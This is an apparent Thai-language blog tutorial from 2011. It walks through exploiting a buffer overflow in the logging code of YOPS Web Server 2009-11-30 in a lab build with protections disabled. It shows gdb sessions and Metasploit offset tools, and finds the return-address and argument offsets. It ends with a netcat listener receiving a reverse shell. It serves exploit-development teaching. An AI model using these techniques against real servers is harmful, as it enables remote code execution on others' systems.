Sunday, May 8, 2011

Exploiting YOPS Web Server 2009-11-30 (disable all security options)

เรามาดูตัวอย่างต่อไป ตัวอย่างนี้จะเขียน exploit สำหรับ YOPS Web Server 2009-11-30 ซึ่งได้มีคนเขียน PoC เอาไว้ที่ http://www.exploit-db.com/exploits/14976/ และ source code ของโปรแกรมก็ให้โหลดจาก exploit-db นะครับ และเหมือนเดิมเรายังคง compile โปรแกรมแบบไม่มีการป้องกันใดๆ

Installation

หลังจากที่ได้ source code มาแล้วเราทำการ extract โดยผมได้ทำการแก้ไข Makefile ใหม่ เพื่อที่จะได้ใส่ gcc option จาก command line ได้

$ cd
$ tar xjf yops-2009-11-30.tar.bz
...
$ cd swebs
$ wget -O Makefile https://sites.google.com/...
...
$ CFLAGS="-fno-stack-protector -z norelro -z execstack" make
...

เมื่อ extract จะได้ 2 directories คือ swebs กับ www ซึ่ง www directory จำเป็นต้องอยู่ใน home directory ถ้าใคร extract ที่ directory อื่นก็ให้ย้ายมาที่ home ก่อนที่จะรันโปรแกรมนะครับ

Vulnerability

ถ้าเราดู bug description จาก exploit-db จะเห็นว่าปัญหาอยู่ใน swebs_record_log function ใน swebs.c ตรงที่เรียก sprintf function

int swebs_record_log(int log, JOB *job)
{
    int err;
    time_t now;
    char timestr[32];
    char logrec[MAX_REQUEST_LINE_LEN + 1];

    memset(logrec, 0, sizeof(logrec));
    flock(log, LOCK_EX);
    time(&now);
    ctime_r(&now, timestr);
    timestr[strlen(timestr)-1] = '\0';

    sprintf (
        logrec,
        "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
        job->client,
        timestr,
        job->hdr.request_line, // ค่าที่น่าจะเป็น input ของเรา
        job->response_hlen,
        job->response_blen_sent,
        job->response_blen,
        job->status
        );

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

จาก code ข้างบนจะเห็นว่าตัวแปรที่น่าจะเราน่าจะควบคุมได้คือ "job>hdr.request_line" โดย job กับ hdr เป็น struct และเพื่อให้เข้าใจมากขึ้น เรามาดูรายละเอียดที่ไฟล์ swebs.h และ http.h

// from swebs.h
typedef struct job {
    //...

    /* filled by parser */
    int parser;
    struct http_request_header hdr;
    char content_type[64+1];
    char error_file[32+1];
    char index_file[128+1];
    //...
    int logger;
} JOB;

// from http.h
#define MAX_METH_LEN 8

#define MAX_FILE_LEN 256
#define MAX_PINF_LEN 256
#define MAX_ARGS_LEN 256
#define MAX_URL_LEN (MAX_FILE_LEN + MAX_PINF_LEN + MAX_ARGS_LEN)
#define MAX_HTTP_LEN 16

#define MAX_REQUEST_LINE_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_HTTP_LEN)

#define MAX_HDR_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_TOTAL_PARM_LEN + 16)

typedef struct http_request_header {
    /* header buf */
    char buf[MAX_HDR_LEN+1];

    /* request line */
    char request_line[MAX_REQUEST_LINE_LEN+1];
    char *method;
    char *file;
    char *path_info;
    char *args;

    char *http;
    int ver;
    int subver;

    /* general */
    int code;
    int Cache_Control;

    char *Connection;
    char *Accept;
    char *Host;
    char *Referer;
    char *User_Agent;
} HTTP_REQUEST_HEADER;

จาก "struct job" เราเดาได้ว่า struct นี้เก็บข้อมูลที่เกี่ยวกับ request ทั้งหมด และ hdr ใน "struct job" ใช้เก็บข้อมูลของ http request หลังจากนั้นเรามาหากันว่าโปรแกรมเอา request ที่เราส่งเก็บใส่ตัวแปร request_line อย่างไร

$ grep -n request_line *.c
http.c:163:     strncpy(h->request_line, data, s - data);
main.c:383:             printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
swebs.c:370://  printf("\n+++ rqst: '%s'\n", job->hdr.request_line);
swebs.c:556:            job->hdr.request_line,

จะเห็นว่าบรรทัดที่น่าสนใจคือ "http.c:163:" และเมื่อดู source code จะเห็นว่าอยู่ใน http_parse_request_header function

int http_parse_request_header(char *data, struct http_request_header *h)
{
    int r;
    int ver, rev;
    char *s, *tok, *l, *prm;

    s = strstr(data, "\r\n"); // หาที่จบของบรรทัดแรก
    strncpy(h->request_line, data, s - data); // copy ข้อมูลทั้งบรรทัดแรกเข้า request_line

    /* dealing with method (leading spaces already handled) */
    h->method = tok = data;
    /* max method !!! */
    while ( !isspace(tok[0]) && ( (tok-data) < MAX_METH_LEN) )
        tok++;
    if ((tok-data) >= MAX_METH_LEN)
        return -400;
    // ...
}

จากโค้ดจะเห็นว่าฟังก์ชัน http_parse_request_header copy ข้อมูลทั้งบรรทัดแรกไปที่ request_line ซึ่งทำให้เกิด buffer overflow ใน heap และทำให้ sprintf ใน swebs_record_log function นั้นใส่ค่าของเราลง logrec โดยที่ไม่มีการกำหนดขนาดของ logrec

Exploitation

เรามาลองใส่ input ยาวๆ เพื่อที่จะดูผลว่าเป็นอย่างไร โดยผมจะส่ง request page ด้วยความยาว 2000 ตัวอักษร (ex12_yops_1.py)

print send_request(target_ip, target_port, "GET "+"A"*2000+" HTTP/1.0\r\n\r\n")
$ gdb ./swebs
...
Opening log (.log/access.log)... OK
Parsing config file (.conf/config)...
'tcp_port' = 8888
...
Creating LOGGER(s) (1 instances)... [New Thread 0xb7fffb70 (LWP 1649)]
OK
MANAGER: 1 jobs in ACCEPTOR->PARSER queue
errorer #1 has job (status = 404) (.errors/404.html)
swebs: tpp.c:63: __pthread_tpp_change_priority: Assertion 'new_prio == -1 || (new_prio >= __sched_fifo_min_prio && new_prio <= __sched_fifo_max_prio)' failed.

Program received signal SIGABRT, Aborted.
[Switching to Thread 0x52beb70 (LWP 1643)]
0x0012d422 in __kernel_vsyscall ()
(gdb)  bt
#0  0x0012d422 in __kernel_vsyscall ()
#1  0x00183651 in raise () from /lib/tls/i686/cmov/libc.so.6
#2  0x00186a82 in abort () from /lib/tls/i686/cmov/libc.so.6
#3  0x0017c718 in __assert_fail () from /lib/tls/i686/cmov/libc.so.6
#4  0x0014f34c in __pthread_tpp_change_priority ()
   from /lib/tls/i686/cmov/libpthread.so.0
#5  0x00147a2d in __pthread_mutex_lock_full ()
   from /lib/tls/i686/cmov/libpthread.so.0
#6  0x0804cb3c in errorer_th (arg=0x804e448) at main.c:313  # crash ที่บรรทัด 313 ใน main.c
#7  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#8  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) list 313
308                             goto file_vanished;
309                     };
310
311                     http_set_content_type(job->hdr.file, job->content_type);
312                     swebs_send_response(job);
313                     pthread_mutex_lock(&job->block);  # บรรทัดที่ทำให้ crash
314                     swebs_load_fragment(0, job, &config);
315                     pthread_mutex_unlock(&job->block);
316                     r = swebs_pass_job_on(sender, job);
317                     CHECK_AND_EXIT(r == sizeof(JOB*));

จะเห็นว่าโปรแกรม crash เพราะว่าข้อมูลที่เราใส่เข้าไป เขียนทับส่วนที่สำคัญที่มีผลทำให้โปรแกรม detect เจอข้อผิดพลาดและหยุดการทำงาน หรือพูดง่ายๆ เราใส่ข้อมูลยาวเกินไป (บางครั้งอาจจะเกิด error จาก malloc ที่ detect ได้ว่า heap corrupt เพราะโปรแกรมนี้เป็นแบบ multi-threads แล้วแต่ว่าโปรแกรมทำงาน thread ไหนก่อน)

คราวนี้เรามาดูขนาดที่ไม่ยาวเกินไปบ้าง โดยครั้งนี้จะส่งความยาว 1000 ตัวอักษร (แก้ code เดิมเอาเองนะครับ)

(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7fffb70 (LWP 1667)]
0x0804cdfc in logger_th (arg=0x0) at main.c:383
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
(gdb) list 383
378                     job = swebs_get_job_from(someone);
379                     CHECK_AND_EXIT(job);
380                     job->logger = id;
381
382                     swebs_record_log(log, job);  # function ที่มี bug sprintf
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
384                     pthread_mutex_lock(&job->block);
385                     zfree((void**)&job);
386             };
387     }
(gdb) i r ebp
ebp            0xb7ff000a       0xb7ff000a

จะเห็นว่าเกิด error ที่บรรทัด 383 ใน main.c ซึ่งอยู่หลัง function ที่มี bug ซึ่งโดยปกติมันควรจะ overflow เขียนทับ saved eip แล้วโปรแกรมจะ crash ตอนจบ swebs_record_log function เพราะ eip ชี้ไปที่ invalid address แต่ครั้งนี้โปรแกรมกลับจบ swebs_record_log function ได้ และมา crash ที่ printf ซึ่งทำให้ผมเดาได้ว่าเราได้เขียนทับ saved ebp แต่ไม่ได้เขียนทับ saved eip (ลองคิดดูนะครับ ว่าทำไมผมถึงเดาได้) เพื่อให้รู้สาเหตุ เรามา break ที่ sprintf ใน swebs_record_log function

(gdb) b swebs.c:551
Breakpoint 1 at 0x804a839: file swebs.c, line 551.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2317)]

Breakpoint 1, swebs_record_log (log=5, job=0x804f228) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x804f24c "GET", file = 0x80500f9 ".errors/404.html",  # ค่าของตัวแปร file มี 0x00
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
  args = 0x41414141 <Address 0x41414141 out of bounds>,
  http = 0x804f639 "HTTP/1.0", ver = 1094795585, subver = 1094795585,
  code = 1094795585, Cache_Control = 1094795585,
  Connection = 0x41414141 <Address 0x41414141 out of bounds>,
  Accept = 0x41414141 <Address 0x41414141 out of bounds>,
  Host = 0x41414141 <Address 0x41414141 out of bounds>,
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) x/5s job->hdr.request_line
0x804fd65:       "GET ", 'A' <repeats 196 times>...
0x804fe2d:       'A' <repeats 200 times>...
0x804fef5:       'A' <repeats 200 times>...
0x804ffbd:       'A' <repeats 195 times>, "L\362\004\b", <incomplete sequence \371>
0x8050085:       ""
(gdb) p printf(job->hdr.request_line)
$8 = 800

เมื่อเราดูค่าของ "job->hdr" จะเห็นว่าตัวแปร method, file ที่ประกาศหลัง request_line นั้นไม่ได้มีค่าเป็น 0x41414141 และค่าของตัวแปร file นั้นมี 0x00 อยู่ด้วย ทำให้ข้อมูลที่เราตั้งใจจะทำให้เกิด overflow โดนเปลี่ยนค่าตรงกลางทำให้ sprintf function ไม่ copy ข้อมูลเราทั้งหมดเข้าไปใน buffer และเขียนทับไปถึงแค่ saved ebp

จาก address ของ job ทำให้เรารู้ว่าข้อมูลส่วนนี้ถูกจองใน heap ซึ่งการจองครั้งแรกจะได้ address ที่ 0x00 ที่ตัวแปร file เสมอ ดังนั้นถ้าเราลอง request ครั้งแรกปกติ และค่อย overflow ครั้งที่สอง (ex12_yops_2.py)

# ยังไม่ออกจาก gdb
(gdb) ignore 1 1
Will ignore next crossing of breakpoint 1.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1613)]

Breakpoint 1, swebs_record_log (log=5, job=0x8050a48) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x8050a6c "GET", file = 0x8051919 ".errors/404.html",  # ไม่มี 0x00 แล้ว
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
...
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) print printf(job->hdr)
$2 = 0
(gdb) print printf(job->hdr.request_line)
GET AAA...
$3 = 875
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x41414141) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x41414141
 called by frame at 0xb7fff354
...

จะเห็นว่าคราวนี้ เราสามารถ overwrite saved eip ได้แล้ว ถึงแม้ว่าตัวแปร method และ file จะโดนเปลี่ยน แต่ไม่มี 0x00 และจุดที่ให้สังเกตอีกจุดคือ โปรแกรม crash ที่บรรทัด 563 ใน swebs.c เพราะตัวแปร job เก็บค่า address 0x41414141 ซึ่งเป็น invalid address

ถ้าดูที่ code จะเห็นว่าตัวแปร job เป็น function argument แสดงว่าอยู่หลัง saved eip และโดยปกติแล้วผมจะพยายามที่จะไม่เขียนทับค่าที่อาจทำให้เกิด access memory ที่ invalid แต่ครั้งนี้จะเห็นว่า sprintf นั้นยังคง copy ค่าอื่นๆ ต่อจาก input ของเราแล้ว ดังนั้นถ้าเรา overwrite เฉพาะ saved eip จะทำให้ตัวแปร job นั้นชี้ไปที่ invalid address เดี๋ยเราค่อยมาแก้ปัญหาของตัวแปร job ตอนนี้เรามาหาว่าเราต้อง input ข้อมูลยาวเท่าไรถึงจะเขียนทับ saved eip พอดี รวมถึงเราจะหาว่ายาวเท่าไรถึงทับ job argument ด้วย (ซึ่งรู้อยู่แล้วว่าห่างจาก saved eip 8 bytes เพราะเป็น argument ตัวที่ 2)

ในตัวอย่างก่อนหน้านี้ ผมใช้วิธีดู assembly แล้วคำนวณระยะห่าง แต่ครั้งนี้ผมจะใช้ pattern_create.rb กับ pattern_offset.rb ซึ่งเป็น tool ที่มากับ metasploit

$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

เมื่อได้ pattern แล้ว นำไปใส่ที่ input ของเรา (ex12_yops_3.py)

$ gdb ./swebs
...
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1724)]
0x0804a8c1 in swebs_record_log (log=1648505954, job=0x36624235) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42336242
 called by frame at 0xb7fff354
...

หลังจากได้ค่า saved eip เป็น 0x42336242 และ job เป็น 0x36624235 เรามาหา offset

$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x42336242
819
$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x36624235
827

เมื่อเราได้ offset จาก pattern_offset.rb เรามาแก้โค้ดเพื่อทดสอบกันโดยผมจะเขียนทับ saved eip ด้วยค่า "BBBB" (0x42424242) และ job ด้วยค่า "CCCC" (0x43434343) และถ้าเราดูที่ code หรือ log จะเห็นว่า sprintf นั้นได้ใส่ IP address ของ client ที่ต่อไว้ข้างหน้าด้วยเหมือนกับตัวอย่าง orzhttpd ที่แล้ว ทำให้ offset ถึง saved eip ถ้าไม่มี IP address คือ 819+9=828 (ex12_yops_4.py)

(gdb) r
...
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x43434343) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42424242
...

ค่าทุกค่าเป็นไปตามที่เราต้องการแล้ว ตอนนี้เราก็ต้องมาจัดการกับ job argument ถ้าเรามาดู code ส่วนนี้อีกครั้ง

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

โปรแกรมทำการ check ว่า job->reasion_500 เก็บข้อความอะไรไว้หรือไม่ ถ้าไม่เก็บจะไม่ทำใน if และหลังจากนั้นจะไม่มีการอ้างถึง job arguemnt อีก ดังนั้นเพื่อให้ง่ายเราควรที่จะเขียนทับค่า job ที่ทำให้ job>reasion_500 นั้นชี้ไปที่ข้อความที่มีความยาวเป็น 0

เนื่องด้วยโปรแกรมที่อยู่ใน memory แบ่งเป็น section ต่างๆ และ section ที่เก็บ string เอาไว้คือ .rodata ดังนั้นผมจะขอยืมใช้ address ในนี้ที่เก็บ NULL เอาไว้เพื่อให้โปรแกรมทำงานต่อไปได้

$ objdump -h swebs | grep -A 1 .rodata
 15 .rodata       00000b6f  0804d0c8  0804d0c8  000050c8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
$ objdump -s -j .rodata swebs | head

swebs:     file format elf32-i386

Contents of section .rodata:
 804d0c8 03000000 01000200 57652064 6f6e2774  ........We don't
 804d0d8 2077616e 7420746f 2072756e 20776974   want to run wit

จาก objdump จะได้ว่า secion .rodata ถูกโหลดที่ address 0x0804d0c8 โดยเราสามารถดู content ได้ด้วยคำสั่ง x/s ใน gdb หรือใช้ objdump ที่ผมทำข้างบน ซึ่งจะได้ address ที่เก็บ NULL ไว้คือ 0x0804d0c9

หลังจากได้ address ของ NULL มา แล้วเราจะเขียนทับค่า job เป็นอะไรละ เนื่องจาก job เป็นตัวแปรชนิด struct เวลาอ้างถึงตัวแปรใน struct ใน assembly จะรู้ offset แล้วบวกไปจาก address เริ่มต้นของ struct นั้น ดังนั้นถ้าเรามาดู assembly จากจุดที่โปรแกรม crash (ถ้าใครออกจาก gdb แล้วใครทำอีกรอบให้โปรแกรม crash ที่ strlen(job->reason_500))

(gdb) x/5i $eip-13
   0x804a8b4 <swebs_record_log+232>:    call   0x8048d1c <sprintf@plt>
   0x804a8b9 <swebs_record_log+237>:    mov    0xc(%ebp),%eax
   0x804a8bc <swebs_record_log+240>:    add    $0x1024,%eax
=> 0x804a8c1 <swebs_record_log+245>:    movzbl (%eax),%eax
   0x804a8c4 <swebs_record_log+248>:    test   %al,%al

จะเห็นว่า offset คือ 0x1024 ดังนั้นถ้าเราลองเขียนทับค่า job ใหม่ (ex12_yops_5.py)

(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2053)]
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
(gdb) x/24x $esp-800
0xb7fff030:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff040:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff050:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff060:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff070:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff080:     0x41414141      0x41414141      0x41414141      0x41414141

โปรแกรม crash เนื่องด้วย eip ชี้ไปที่ invalid address แล้ว ดังนั้นผมจึงหา address ของตัวษร A ของเราต่อทันที ซึ่งจะเป็นที่เราใส่ shellcode เข้าไป โดยผมจะใช้ shellcode เดียวกับตัวอย่างของ orzhttpd และก็ให้ดูด้วยว่าเรามี space ที่จะใส่ shellcode น้อยกว่า 789 bytes (ขนาดของ logrec โดยผมจะใช้ 700 bytes) เพราะตัวแปร method และ file โดนแก้ไข แต่ต้องอย่าลืมว่า shellcode พวกนี้ต้องการใช้พื้นที่ใน stack ดังนั้นเพื่อป้องกันไม่ให้ shellcode เราโดนแก้ไข เราควรทำการ adjust stack pointer ด้วย

ในตัวอย่าง Integer Overflow ผมได้ใส่ "add esp" ซึ่งจะทำให้มี 0x00 ซึ่งเป็น badchar สำหรับโปรแกรมนี้ ดังนั้นวิธีหนึ่งคือนำ shellcode สำหรับ "add esp" มาต่อกับ reverse shell ที่ยังไม่โดน encode แล้วค่อยส่งเข้าไปที่ msfencode ทีเดียว แต่ผมจะใช้อีกวิธีหนึ่ง (ขี้เกียจ) โดยเลี่ยง badchar โดยใช้คำสั่ง "sub esp" กับค่าที่เป็นลบ

$ /opt/metasploit3/msf3/tools/nasm_shell.rb
nasm > sub esp,-200
00000000  81EC38FFFFFF      sub esp,0xffffff38

ได้ทุกอย่างที่ต้องการ นำมาเขียน exploit (ex12_yops.py)

# run ./swebs (ไม่จำเป็นต้องใช้ gdb แล้ว) อีก terminal หนึ่งก่อน
$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

No comments:

Post a Comment